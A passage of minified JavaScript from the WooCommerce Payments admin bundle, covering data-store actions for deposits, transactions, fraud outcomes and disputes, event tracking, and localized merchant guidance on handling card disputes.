e=t?(0,it.find)(r,{code:t.toUpperCase()}):r[n];e&&(o.decimalSeparator=e.decimalSeparator,o.thousandSeparator=e.thousandSeparator,o.symbolPosition=e.symbolPosition)}return Co()(o)}return null}(t,r);if(null===o)return Io(e,t,n);try{return"function"==typeof o.formatAmount?ko(o.formatAmount(e)):ko(o.formatCurrency(e))}catch(r){return ko(Io(e,t,n))}};function Io(e,t,r){try{return e.toLocaleString(void 0,{style:"currency",currency:t,currencyDisplay:"narrowSymbol",dummy:r})}catch(n){return(0,j.sprintf)(r?"%s %i":"%s %.2f",t.toUpperCase(),e)}}function ko(e){return(new DOMParser).parseFromString(e,"text/html").documentElement.textContent}const xo=window.wp.url,Do=window.moment;var Po=r.n(Do);const Mo=window.wp.date,Fo=(window.wc.number,e=>(0,xo.addQueryArgs)("admin.php",e)),Lo=function(e){const t=arguments.length>1&&void 0!==arguments[1]&&arguments[1]?Po()(e).endOf("day").utc().toISOString():Po()(e).startOf("day").utc().toISOString();return e&&(0,Mo.dateI18n)("Y-m-d H:i:s",t,!0)};function Uo(e){return{type:co.SET_DEPOSIT,data:e}}function Bo(e){return{type:co.SET_DEPOSITS_OVERVIEW,data:e}}function $o(e,t){return{type:co.SET_ERROR_FOR_DEPOSITS_OVERVIEW,error:t}}function zo(e){return{type:co.SET_ALL_DEPOSITS_OVERVIEWS,data:e}}function jo(e,t){return{type:co.SET_ERROR_FOR_ALL_DEPOSITS_OVERVIEWS,error:t}}function Yo(e,t){return{type:co.SET_DEPOSITS,query:e,data:t}}function Ho(e){return{type:co.SET_DEPOSITS_COUNT,data:e}}function Vo(e,t,r){return{type:co.SET_ERROR_FOR_DEPOSIT_QUERY,query:e,data:t,error:r}}function Wo(e,t){return{type:co.SET_DEPOSITS_SUMMARY,query:e,data:t}}function qo(e,t,r){return{type:co.SET_ERROR_FOR_DEPOSITS_SUMMARY,query:e,data:t,error:r}}function Go(e){return{type:co.SET_INSTANT_DEPOSIT,data:e}}function*Qo(e){try{yield(0,oo.dispatch)(so).startResolution("getInstantDeposit",[e]);const t=yield(0,ao.apiFetch)({path:"/wc/v3/payments/deposits",method:"POST",data:{type:"instant",transaction_ids:e}});yield Go(t),yield(0,oo.dispatch)(so).invalidateResolutionForStoreSelector("getDeposits"),yield(0,oo.dispatch)(so).invalidateResolutionForStoreSelector("getDepositsOverview"),yield(0,oo.dispatch)("core/notices").createSuccessNotice((0,j.sprintf)((0,j.__)("Instant deposit for %s in transit.","woocommerce-payments"),No(t.amount)),{actions:[{label:(0,j.__)("View details","woocommerce-payments"),url:Fo({page:"wc-admin",path:"/payments/deposits/details",id:t.id})}]})}catch{yield(0,oo.dispatch)("core/notices").createErrorNotice((0,j.__)("Error creating instant deposit.","woocommerce-payments"))}finally{yield(0,oo.dispatch)(so).finishResolution("getInstantDeposit",[e])}}function*Zo(e){const t=(0,xo.addQueryArgs)(`${io}/deposits/${e}`);try{const e=yield(0,ao.apiFetch)({path:t});yield Uo(e)}catch(e){yield oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving deposit.","woocommerce-payments"))}}function*Ko(){const e=(0,xo.addQueryArgs)(`${io}/deposits/overview`);try{const t=yield(0,ao.apiFetch)({path:e});yield Bo(t)}catch(e){yield oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving deposits overview.","woocommerce-payments")),yield $o()}}function*Xo(){const e=(0,xo.addQueryArgs)(`${io}/deposits/overview-all`);try{const t=yield(0,ao.apiFetch)({path:e});yield zo(t)}catch(e){yield oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving all deposits' overviews.","woocommerce-payments")),yield jo()}}const Jo=e=>({user_email:e.userEmail,match:e.match,store_currency_is:e.storeCurrencyIs,date_before:Lo(e.dateBefore,!0),date_after:Lo(e.dateAfter),date_between:e.dateBetween&&[Lo(e.dateBetween[0]),Lo(e.dateBetween[1],!0)],status_is:e.statusIs,status_is_not:e.statusIsNot});function ea(e){return(0,xo.addQueryArgs)(`${io}/deposits/download`,Jo(e))}function*ta(e){const t=(0,xo.addQueryArgs)(`${io}/deposits`,{page:e.paged,pagesize:e.perPage,sort:e.orderby,direction:e.order,...Jo(e)});try{const r=yield(0,ao.apiFetch)({path:t})||{};yield Yo(e,r.data),yield Ho(r.total_count);for(const e in r.data)yield oo.controls.dispatch(so,"finishResolution","getDeposit",[r.data[e].id])}catch(t){yield oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving deposits.","woocommerce-payments")),yield Vo(e,null,t)}}function*ra(e){const t=(0,xo.addQueryArgs)(`${io}/deposits/summary`,Jo(e));try{const r=yield(0,ao.apiFetch)({path:t});yield Wo(e,r)}catch(t){yield qo(e,null,t)}}const na={SET_TRANSACTIONS:"SET_TRANSACTIONS",SET_ERROR_FOR_TRANSACTIONS:"SET_ERROR_FOR_TRANSACTIONS",SET_TRANSACTIONS_SUMMARY:"SET_TRANSACTIONS_SUMMARY",SET_ERROR_FOR_TRANSACTIONS_SUMMARY:"SET_ERROR_FOR_TRANSACTIONS_SUMMARY",SET_FRAUD_OUTCOME_TRANSACTIONS:"SET_FRAUD_OUTCOME_TRANSACTIONS",SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS:"SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS",SET_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY:"SET_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY",SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY:"SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY"},oa={summary:{},fraudProtection:{review:{summary:{}},block:{summary:{}}}},aa=e=>e&&e.transactions||{},ia=(e,t)=>{const r=lo(t);return aa(e)[r]||{}},sa=(e,t)=>ia(e,t).data||[],ca=(e,t)=>ia(e,t).error||{},la=(e,t)=>{const r=lo(t);return aa(e).summary[r]||{}},ua=(e,t)=>la(e,t).data||{},da=(e,t)=>la(e,t).error||{},ma=(e,t,r)=>{const n=lo(r);return aa(e).fraudProtection?.[t]?.[n]||{}},pa=(e,t,r)=>ma(e,t,r).data||[],ya=(e,t,r)=>ma(e,t,r).error||{},fa=(e,t,r)=>{const n=lo(r);return aa(e).fraudProtection?.[t]?.summary[n]||{}},_a=(e,t,r)=>fa(e,t,r).data||{},ha=(e,t,r)=>fa(e,t,r).error||{};function ga(e,t){return{type:na.SET_TRANSACTIONS,query:e,data:t}}function ba(e,t,r){return{type:na.SET_ERROR_FOR_TRANSACTIONS,query:e,data:t,error:r}}function Ea(e,t){return{type:na.SET_TRANSACTIONS_SUMMARY,query:e,data:t}}function va(e,t,r){return{type:na.SET_ERROR_FOR_TRANSACTIONS_SUMMARY,query:e,data:t,error:r}}function wa(e,t,r){return{type:na.SET_FRAUD_OUTCOME_TRANSACTIONS,status:e,query:t,data:r}}function Sa(e,t,r){return{type:na.SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS,status:e,query:t,data:null,error:r}}function Ta(e,t,r){return{type:na.SET_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY,status:e,query:t,data:r}}function Ra(e,t,r){return{type:na.SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY,status:e,query:t,data:null,error:r}}const Oa=e=>({user_email:e.userEmail,match:e.match,date_before:Lo(e.dateBefore,!0),date_after:Lo(e.dateAfter),date_between:e.dateBetween&&[Lo(e.dateBetween[0]),Lo(e.dateBetween[1],!0)],type_is:e.typeIs,type_is_not:e.typeIsNot,source_device_is:e.sourceDeviceIs,source_device_is_not:e.sourceDeviceIsNot,store_currency_is:e.storeCurrencyIs,loan_id_is:e.loanIdIs,deposit_id:e.depositId,customer_currency_is:e.customerCurrencyIs,customer_currency_is_not:e.customerCurrencyIsNot,search:e.search,user_timezone:Po()(new Date).format("Z")});function*Ca(e){const t=(0,xo.addQueryArgs)(`${io}/transactions`,{page:e.paged,pagesize:e.perPage,sort:e.orderby,direction:e.order,...Oa(e)});try{const r=yield(0,ao.apiFetch)({path:t});yield ga(e,r.data||[])}catch(t){yield oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving transactions.","woocommerce-payments")),yield ba(e,null,t)}}function Aa(e){return(0,xo.addQueryArgs)(`${io}/transactions/download`,Oa(e))}function*Na(e){const t=(0,xo.addQueryArgs)(`${io}/transactions/summary`,Oa(e));try{const r=yield(0,ao.apiFetch)({path:t});yield Ea(e,r)}catch(t){yield va(e,null,t)}}function*Ia(e,t){const r=(0,xo.addQueryArgs)(`${io}/transactions/fraud-outcomes`,{status:e,page:t.paged,sort:t.orderby,pagesize:t.perPage,direction:t.order,additional_status:t.additionalStatus,...Oa(t)});try{const n=yield(0,ao.apiFetch)({path:r});yield wa(e,t,n.data||[])}catch(r){if("wcpay_fraud_outcome_not_found"===r.code)return void(yield wa(e,t,[]));yield oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving transactions.","woocommerce-payments")),yield Sa(e,t,r)}}function*ka(e,t){const r=(0,xo.addQueryArgs)(`${io}/transactions/fraud-outcomes/summary`,{status:e,additional_status:t.additionalStatus}),n={count:0,total:0};try{const o=yield(0,ao.apiFetch)({path:r});yield Ta(e,t,o||n)}catch(r){if("wcpay_fraud_outcome_not_found"===r.code)return void(yield Ta(e,t,n));yield oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving on review transactions.","woocommerce-payments")),yield Ra(e,t,r)}}function xa(e,t){return(0,xo.addQueryArgs)(`${io}/transactions/fraud-outcomes/download`,{status:e,sort:t.orderby,direction:t.order,additional_status:t.additionalStatus,...Oa(t)})}const Da={SET_CHARGE:"SET_CHARGE",SET_ERROR_FOR_CHARGE:"SET_ERROR_FOR_CHARGE"},Pa=(e,t)=>e.charges[t]&&e.charges[t].data?e.charges[t].data:{},Ma=(e,t)=>e.charges[t]&&e.charges[t].error?e.charges[t].error:{},Fa=(e,t)=>Pa(e,t),La=(e,t)=>Ma(e,t);function Ua(e,t){return{type:Da.SET_CHARGE,id:e,data:t}}function Ba(e,t,r){return{type:Da.SET_ERROR_FOR_CHARGE,id:e,data:t,error:r}}function*$a(e){try{const t=yield(0,ao.apiFetch)({path:`${io}/charges/${e}`});yield Ua(e,t)}catch(t){yield oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving transaction.","woocommerce-payments")),yield Ba(e,null,t)}}function*za(e){try{const t=yield(0,ao.apiFetch)({path:`${io}/charges/order/${e}`});yield Ua(e,t)}catch(t){yield oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving transaction.","woocommerce-payments")),yield Ba(e,null,t)}}const ja={SET_TIMELINE:"SET_TIMELINE",SET_ERROR_FOR_TIMELINE:"SET_ERROR_FOR_TIMELINE"},Ya=(e,t)=>e.timeline&&e.timeline[t]&&e.timeline[t].data?e.timeline[t].data:{},Ha=(e,t)=>e.timeline&&e.timeline[t]&&e.timeline[t].error?e.timeline[t].error:{};function Va(e,t){return{id:e,type:ja.SET_TIMELINE,data:t}}function Wa(e,t){return{id:e,type:ja.SET_ERROR_FOR_TIMELINE,error:t}}function*qa(e){try{const t=yield(0,ao.apiFetch)({path:`${io}/timeline/${e}`});yield Va(e,t.data)}catch(t){yield Wa(e,t)}}const Ga={SET_DISPUTE:"SET_DISPUTE",SET_DISPUTES:"SET_DISPUTES",SET_DISPUTES_SUMMARY:"SET_DISPUTES_SUMMARY"},Qa={byId:{},queries:{},summary:{},cached:{}},Za=e=>e&&e.disputes||{},Ka=(e,t)=>(Za(e).byId||{})[t],Xa=(e,t)=>(Za(e).cached||{})[t],Ja=(e,t)=>{const r=((e,t)=>{const r=lo(t);return(Za(e).queries||{})[r]||{}})(e,t).data||[];return r.map(Xa.bind(void 0,e))},ei=(e,t)=>((e,t)=>{const r=lo(t);return(Za(e).summary||{})[r]||{}})(e,t).data||{},ti=window.wp.domReady;var ri=r.n(ti);const ni=e=>{let t=null;return t="undefined"!=typeof wcpayConfig?wcpayConfig:"undefined"!=typeof wcpay_upe_config?wcpay_upe_config:wc.wcSettings.getSetting("woocommerce_payments_data"),t[e]||null},oi=e=>"object"==typeof wcpayPaymentRequestParams&&wcpayPaymentRequestParams.hasOwnProperty(e)?wcpayPaymentRequestParams[e]:null,ai={isEnabled:function(){return window.wcTracks.isEnabled},recordEvent:function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};t.is_test_mode=window.wcpaySettings?.testMode,ri()((()=>{var r;(null!==(r=window.wc?.tracks?.recordEvent)&&void 0!==r?r:window.wcTracks.recordEvent)(e,t)}))},recordUserEvent:function(e,t){var r,n;let o=arguments.length>2&&void 0!==arguments[2]&&arguments[2];const a=null!==(r=ni("platformTrackerNonce"))&&void 0!==r?r:oi("nonce")?.platform_tracker,i=null!==(n=ni("ajaxUrl"))&&void 0!==n?n:oi("ajax_url"),s=new FormData;s.append("tracksNonce",a),s.append("action","platform_tracks"),s.append("tracksEventName",e),s.append("tracksEventProp",JSON.stringify(t)),s.append("isLegacy",o),fetch(i,{method:"post",body:s})},events:{CONNECT_ACCOUNT_CLICKED:"wcpay_connect_account_clicked",CONNECT_ACCOUNT_VIEW:"page_view",CONNECT_ACCOUNT_LEARN_MORE:"wcpay_welcome_learn_more",CONNECT_ACCOUNT_STRIPE_CONNECTED:"wcpay_stripe_connected",CONNECT_ACCOUNT_KYC_MODAL_OPENED:"wcpay_connect_account_kyc_modal_opened",DEPOSITS_ROW_CLICK:"wcpay_deposits_row_click",DEPOSITS_DOWNLOAD_CSV_CLICK:"wcpay_deposits_download",DISPUTES_ROW_ACTION_CLICK:"wcpay_disputes_row_action_click",ORDER_DISPUTE_NOTICE_BUTTON_CLICK:"wcpay_order_dispute_notice_action_click",OVERVIEW_BALANCES_CURRENCY_CLICK:"wcpay_overview_balances_currency_tab_click",OVERVIEW_DEPOSITS_VIEW_HISTORY_CLICK:"wcpay_overview_deposits_view_history_click",OVERVIEW_DEPOSITS_CHANGE_SCHEDULE_CLICK:"wcpay_overview_deposits_change_schedule_click",OVERVIEW_TASK_CLICK:"wcpay_overview_task_click",SETTINGS_DEPOSITS_MANAGE_IN_STRIPE_CLICK:"wcpay_settings_deposits_manage_in_stripe_click",MULTI_CURRENCY_ENABLED_CURRENCIES_UPDATED:"wcpay_multi_currency_enabled_currencies_updated",PAYMENT_REQUEST_SETTINGS_CHANGE:"wcpay_payment_request_settings_change",SUBSCRIPTIONS_EMPTY_STATE_VIEW:"wcpay_subscriptions_empty_state_view",SUBSCRIPTIONS_EMPTY_STATE_FINISH_SETUP:"wcpay_subscriptions_empty_state_finish_setup",SUBSCRIPTIONS_EMPTY_STATE_CREATE_PRODUCT:"wcpay_subscriptions_empty_state_create_product",SUBSCRIPTIONS_ACCOUNT_NOT_CONNECTED_PRODUCT_MODAL_VIEW:"wcpay_subscriptions_account_not_connected_product_modal_view",SUBSCRIPTIONS_ACCOUNT_NOT_CONNECTED_PRODUCT_MODAL_FINISH_SETUP:"wcpay_subscriptions_account_not_connected_product_modal_finish_setup",SUBSCRIPTIONS_ACCOUNT_NOT_CONNECTED_PRODUCT_MODAL_DISMISS:"wcpay_subscriptions_account_not_connected_product_modal_dismiss",TRANSACTIONS_DOWNLOAD_CSV_CLICK:"wcpay_transactions_download_csv_click",WOOPAY_OFFERED:"woopay_offered",WOOPAY_OTP_START:"woopay_otp_prompt_start",WOOPAY_OTP_COMPLETE:"woopay_otp_prompt_complete",WOOPAY_OTP_FAILED:"woopay_otp_prompt_failed",WOOPAY_AUTO_REDIRECT:"checkout_woopay_auto_redirect",WOOPAY_SKIPPED:"woopay_skipped",WOOPAY_BUTTON_LOAD:"woopay_button_load",WOOPAY_BUTTON_CLICK:"woopay_button_click",WOOPAY_SAVE_MY_INFO_CLICK:"checkout_save_my_info_click",ONBOARDING_FLOW_STARTED:"wcpay_onboarding_flow_started",ONBOARDING_FLOW_MODE_SELECTED:"wcpay_onboarding_flow_mode_selected",ONBOARDING_FLOW_STEP_COMPLETED:"wcpay_onboarding_flow_step_completed",ONBOARDING_FLOW_HIDDEN:"wcpay_onboarding_flow_hidden",ONBOARDING_FLOW_EXITED:"wcpay_onboarding_flow_exited",ONBOARDING_FLOW_REDIRECTED:"wcpay_onboarding_flow_redirected",ONBOARDING_FLOW_ELIGIBILITY_MODAL_CLOSED:"wcpay_onboarding_flow_eligibility_modal_closed"}};function ii(e){return{type:Ga.SET_DISPUTE,data:e}}function si(e,t){return{type:Ga.SET_DISPUTES,query:e,data:t}}function ci(e,t){return{type:Ga.SET_DISPUTES_SUMMARY,query:e,data:t}}function*li(e){try{yield oo.controls.dispatch(so,"startResolution","getDispute",[e]);const t=yield(0,ao.apiFetch)({path:`${io}/disputes/${e}/close`,method:"post"});yield ii(t),yield oo.controls.dispatch(so,"finishResolution","getDispute",[e]),window.location.replace(Fo({page:"wc-admin",path:"/payments/disputes",filter:"awaiting_response"})),ai.recordEvent("wcpay_dispute_accept_success");const r=t.order?(0,j.sprintf)((0,j.__)("You have accepted the dispute for order #%s.","woocommerce-payments"),t.order.number):(0,j.__)("You have accepted the dispute.","woocommerce-payments");yield oo.controls.dispatch("core/notices","createSuccessNotice",r)}catch(e){const t=(0,j.__)("There has been an error accepting the dispute. Please try again later.","woocommerce-payments");ai.recordEvent("wcpay_dispute_accept_failed"),yield oo.controls.dispatch("core/notices","createErrorNotice",t)}}const ui=e=>({user_email:e.userEmail,match:e.match,store_currency_is:e.storeCurrencyIs,date_before:Lo(e.dateBefore,!0),date_after:Lo(e.dateAfter),date_between:e.dateBetween&&[Lo(e.dateBetween[0]),Lo(e.dateBetween[1],!0)],search:e.search,status_is:e.statusIs,status_is_not:e.statusIsNot});function di(e){return(0,xo.addQueryArgs)(`${io}/disputes/download`,ui(e))}function*mi(e){const t=(0,xo.addQueryArgs)(`${io}/disputes/${e}`);try{const e=yield(0,ao.apiFetch)({path:t});yield ii(e)}catch(e){yield oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving dispute.","woocommerce-payments"))}}function*pi(e){const t=(0,xo.addQueryArgs)(`${io}/disputes`,{page:e.paged,pagesize:e.perPage,sort:(0,it.snakeCase)(e.orderBy),direction:e.order,...ui(e)});try{const r=yield(0,ao.apiFetch)({path:t})||{};yield si(e,r.data)}catch(e){yield oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving disputes.","woocommerce-payments"))}}function*yi(e){const t=(0,xo.addQueryArgs)(`${io}/disputes/summary`,{page:e.paged,pagesize:e.perPage,...ui(e)});try{const r=yield(0,ao.apiFetch)({path:t});yield ci(e,r)}catch(e){yield oo.controls.dispatch("core/notices","createErrorNotice",(0,j.__)("Error retrieving the summary of disputes.","woocommerce-payments"))}}const fi=window.wc.wcSettings;(0,j.__)("Bank cannot process","woocommerce-payments"),(0,j.__)("Check returned","woocommerce-payments"),(0,j.__)("Credit not processed","woocommerce-payments"),(0,j.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,j.__)("If your customer was not refunded appropriately, you will need to accept the dispute, or resolve the issue with your customer. The credit card networks place liability for accepting disputed payments with you, the business.","woocommerce-payments"),(0,j.__)("The customer claims that the purchased product was returned or the transaction was otherwise canceled, but you have not yet provided a refund or credit.","woocommerce-payments"),(0,j.__)("Demonstrate that you have refunded your customer through other means or that your customer is not entitled to a refund. You cannot issue a refund while a payment is being disputed. If you believe that your customer was entitled a refund that you did not provide, you can accept the dispute.","woocommerce-payments"),(0,j.__)("You should first get in touch with your customer. If you understand what their complaint is, there is a chance for you to explain the misunderstanding or to make it right. If you’re able to resolve the issue with your customer, you can ask that they withdraw the dispute.","woocommerce-payments"),(0,j.__)("If the cardholder agrees to withdraw the dispute, you should still submit evidence for the dispute using the forms on the next screen. In addition to the following evidence, your submission should include correspondence with the cardholder saying they would withdraw the dispute and a written statement from their card issuer confirming that the dispute has been withdrawn.","woocommerce-payments"),(0,j.__)("Customer initiated","woocommerce-payments"),(0,j.__)("Debit not authorized","woocommerce-payments"),(0,j.__)("Duplicate","woocommerce-payments"),(0,j.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,j.__)("If there were duplicate payments, you should accept the dispute. You cannot issue a refund while a payment is being disputed. The credit card networks place liability for accepting disputed payments with you, the business.","woocommerce-payments"),(0,j.__)("The customer claims they were charged multiple times for the same product or service.","woocommerce-payments"),(0,j.__)("Demonstrate that each payment was for a separate product or service.","woocommerce-payments"),(0,j.__)("Determine if your customer was incorrectly charged multiple times.","woocommerce-payments"),(0,j.__)("If they were not, collect any and all information documenting that each payment was made separately, such as copies of receipts. If the receipts don’t include the items purchased, be sure to include an itemized list. Each receipt should clearly indicate that the payments are for separate purchases of items or services. If you’ve been able to get in touch with the customer you should be sure to address any concerns they had in your evidence.","woocommerce-payments"),(0,j.__)("If there have been two or more separate payments, you should get in touch with your customer. If you understand what their complaint is, there is a chance for you to explain the misunderstanding or to make it right. If you’re able to resolve the issue with your customer, you can ask that they withdraw the dispute.","woocommerce-payments"),(0,j.__)("Even if your customer agrees to withdraw the dispute, you must still submit appropriate evidence using the forms on the next screen. Simply saying that your customer is going to withdraw the dispute is not sufficient evidence.","woocommerce-payments"),(0,j.__)("Transaction unauthorized","woocommerce-payments"),(0,j.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,j.__)("If you believe the payment was actually made using a stolen credit card, you will need to accept the dispute. The credit card networks place liability for accepting unauthorized transactions with you, the business.","woocommerce-payments"),(0,j.__)("This is the most common reason for a dispute, and happens when a cardholder claims that they didn’t authorize the payment. This can happen if the card was lost or stolen and used to make an unauthorized transaction. It can also happen if the cardholder doesn’t recognize the payment as it appears on the billing statement from their card issuer.","woocommerce-payments"),(0,j.__)("Provide adequate payment and order details so that a legitimate customer recognizes it, or proves to the card issuer that their cardholder authorized the transaction.","woocommerce-payments"),(0,j.__)("Try to get in touch with your customer. Sometimes people forget about payments they make or don’t recognize the way they appear on their card statement. If this is the case, ask them to contact their card issuer and let them know they no longer dispute the transaction.","woocommerce-payments"),(0,j.__)("Even if your customer agrees to withdraw the dispute, you must still submit appropriate evidence using the forms on the next screen. Simply saying that your customer is going to withdraw the dispute is not sufficient evidence.","woocommerce-payments"),(0,j.__)("It may be more efficient—and provide a better customer experience—to accept an accidental dispute and charge the customer again, if appropriate. Even when a dispute is withdrawn, it usually takes approximately 75 days to be finalized. Remember, it doesn’t matter to the card networks whether you win or lose a dispute; what matters is how many disputes a business receives, regardless of how many disputes are won.","woocommerce-payments"),(0,j.__)("General","woocommerce-payments"),(0,j.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,j.__)("This is an uncategorized dispute, so you should contact the customer for additional details to find out why the payment was disputed.","woocommerce-payments"),(0,j.__)("Incorrect account details","woocommerce-payments"),(0,j.__)("Insufficient funds","woocommerce-payments"),(0,j.__)("Product not received","woocommerce-payments"),(0,j.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,j.__)("If you can not prove the customer received their product or service, you should accept the dispute. You cannot issue a refund while a payment is being disputed. The credit card networks place liability for accepting disputed payments with you, the business.","woocommerce-payments"),(0,j.__)("The customer claims they did not receive the products or services purchased.","woocommerce-payments"),(0,j.__)("Prove that the customer received a physical product or offline service, or made use of a digital product or online service. This must have occurred prior to the date the dispute was initiated.","woocommerce-payments"),(0,j.__)("First, get in touch with your customer. Understanding why they filed the dispute will be important for helping make sure your customer gets the product and will give you critical information to prevent this from happening to others.","woocommerce-payments"),(0,j.__)("Even if your customer agrees to withdraw the dispute, you must still submit appropriate evidence using the forms on the next screen. Simply saying that your customer is going to withdraw the dispute is not sufficient evidence.","woocommerce-payments"),(0,j.__)("Product unacceptable","woocommerce-payments"),(0,j.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,j.__)("If you can not prove the customer received their product or service as described, you should accept the dispute. You cannot issue a refund while a payment is being disputed. The credit card networks place liability for accepting disputed payments with you, the business.","woocommerce-payments"),(0,j.__)("The product or service was received but was defective, damaged, or not as described.","woocommerce-payments"),(0,j.__)("Demonstrate that the product or service was delivered as described at the time of purchase.","woocommerce-payments"),(0,j.__)("If the product or service is as described, provide specific information (invoice, contract, etc.) to refute the cardholder’s claims. Quality disputes are where the customer does not agree with the condition of merchandise or service received (e.g., a car repair situation or quality of a hotel room). There may be instances where you will need to obtain a neutral third-party opinion to help corroborate your claim against the cardholder. Provide as much specific information and documentation as possible to refute the cardholder’s claims. It is recommended that you address each point that the cardholder has made.","woocommerce-payments"),(0,j.__)("If the customer has not yet returned the product or canceled the service, provide specific information to that effect. You should double-check your incoming shipping records to verify that you have not received a return before you respond. If you have processed a credit or reversal for this transaction, provide evidence of this which includes the amount and date processed.","woocommerce-payments"),(0,j.__)("For products that have been repaired or replaced, provide evidence that the cardholder agreed to a repair or replacement, it has been received by the customer, and the repair or replacement has not since been disputed.","woocommerce-payments"),(0,j.__)("If your customer made no attempt to return the product or cancel the service, or if you provided a replacement product or service, make sure to note that as well.","woocommerce-payments"),(0,j.__)("If the customer withdraws their dispute you should still submit evidence using the forms on the next screen. Be sure to provide a letter or email from the cardholder stating that they are no longer in dispute.","woocommerce-payments"),(0,j.__)("Subscription canceled","woocommerce-payments"),(0,j.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,j.__)("If you can not prove the customer’s subscription was canceled, and or they did not follow your cancellation policy, you should accept the dispute. You cannot issue a refund while a payment is being disputed. The credit card networks place liability for accepting disputed payments with you, the business.","woocommerce-payments"),(0,j.__)("The customer claims that you continued to charge them after a subscription was canceled.","woocommerce-payments"),(0,j.__)("Prove that the subscription was still active and that the customer was aware of, and did not follow, your cancellation procedure.","woocommerce-payments"),(0,j.__)("First, get in touch with your customer. If you understand what they believe happened, there is a chance for you to explain the misunderstanding or to make it right. ","woocommerce-payments"),(0,j.__)("Even if your customer agrees to withdraw the dispute, you must still submit appropriate evidence using the forms on the next screen. Simply saying that your customer is going to withdraw the dispute is not sufficient evidence.","woocommerce-payments"),(0,j.__)("Otherwise, use the forms on the next screen to submit evidence that the subscription was still active and that the customer was aware of, and did not follow, your cancellation procedure.","woocommerce-payments"),(0,j.__)("Unrecognized","woocommerce-payments"),(0,j.__)("If you believe the dispute is invalid, you can challenge it by submitting the appropriate evidence using the response forms on the next screen.","woocommerce-payments"),(0,j.__)("If you can not prove the customer’s subscription was canceled, and or they did not follow your cancelation policy, you should accept the dispute. You cannot issue a refund while a payment is being disputed. The credit card networks place liability for accepting disputed payments with you, the business.","woocommerce-payments"),(0,j.__)("The customer doesn’t recognize the payment appearing on their card statement.","woocommerce-payments"),(0,j.__)("Get your customer to withdraw the dispute by helping them identify the payment. Otherwise, challenge the dispute with appropriate evidence that proves the purchase was legitimate. ","woocommerce-payments"),(0,j.__)("First, try to get in touch with your customer. Sometimes people forget about payments they make or don’t recognize the way they appear on their card statement. If this is the case, ask them to contact their card issuer and let them know they no longer dispute the transaction. Even if your customer agrees to withdraw the dispute, you must still submit appropriate evidence. Simply saying that your customer is going to withdraw the dispute is not sufficient evidence.","woocommerce-payments"),(0,j.__)("It may be more efficient—and provide a better customer experience—to accept an accidental dispute and charge the customer again, if appropriate. Even when a dispute is withdrawn, it usually takes approximately 75 days to be finalized. Remember, it doesn’t matter to the card networks whether you win or lose a dispute; what matters is how many disputes a business receives, regardless of how many disputes are won.","woocommerce-payments");var _i={warning_needs_response:(0,j.__)("Inquiry: Needs response","woocommerce-payments"),warning_under_review:(0,j.__)("Inquiry: Under review","woocommerce-payments"),warning_closed:(0,j.__)("Inquiry: Closed","woocommerce-payments"),needs_response:(0,j.__)("Needs response","woocommerce-payments"),under_review:(0,j.__)("Under review","woocommerce-payments"),charge_refunded:(0,j.__)("Charge refunded","woocommerce-payments"),won:(0,j.__)("Won","woocommerce-payments"),lost:(0,j.__)("Lost","woocommerce-payments")},hi=(Object.entries(_i).map((function(e){var t=e[0];return{label:e[1],value:t}})).filter((function(e){return null!=e})),(0,j.__)("Dispute currency","woocommerce-payments"),(0,j.__)("All currencies","woocommerce-payments"),(0,j.__)("Show","woocommerce-payments"),(0,j.__)("Needs response","woocommerce-payments"),(0,j.__)("All disputes","woocommerce-payments"),(0,j.__)("Advanced filters","woocommerce-payments"),(0,fi.getSetting)("wcVersion")),gi=parseFloat(hi);gi<7.8?(0,j.__)("Disputes match {{select /}} filters","woocommerce-payments"):(0,j.__)("Disputes match <select /> filters","woocommerce-payments"),(0,j.__)("Disputed on date","woocommerce-payments"),(0,j.__)("Remove dispute date filter","woocommerce-payments"),(0,j.__)("Select a dispute date filter match","woocommerce-payments"),gi<7.8?(0,j.__)("{{title}}Date{{/title}} {{rule /}} {{filter /}}","woocommerce-payments"):(0,j.__)("<title>Date</title> <rule /> <filter />","woocommerce-payments"),(0,j.__)("Select a dispute date","woocommerce-payments"),(0,j.__)("Before","woocommerce-payments"),(0,j.__)("After","woocommerce-payments"),(0,j.__)("Between","woocommerce-payments"),(0,j.__)("Status","woocommerce-payments"),(0,j.__)("Remove dispute status filter","woocommerce-payments"),(0,j.__)("Select a dispute status filter match","woocommerce-payments"),gi<7.8?(0,j.__)("{{title}}Status{{/title}} {{rule /}} {{filter /}}","woocommerce-payments"):(0,j.__)("<title>Status</title> <rule /> <filter />","woocommerce-payments"),(0,j.__)("Select a dispute 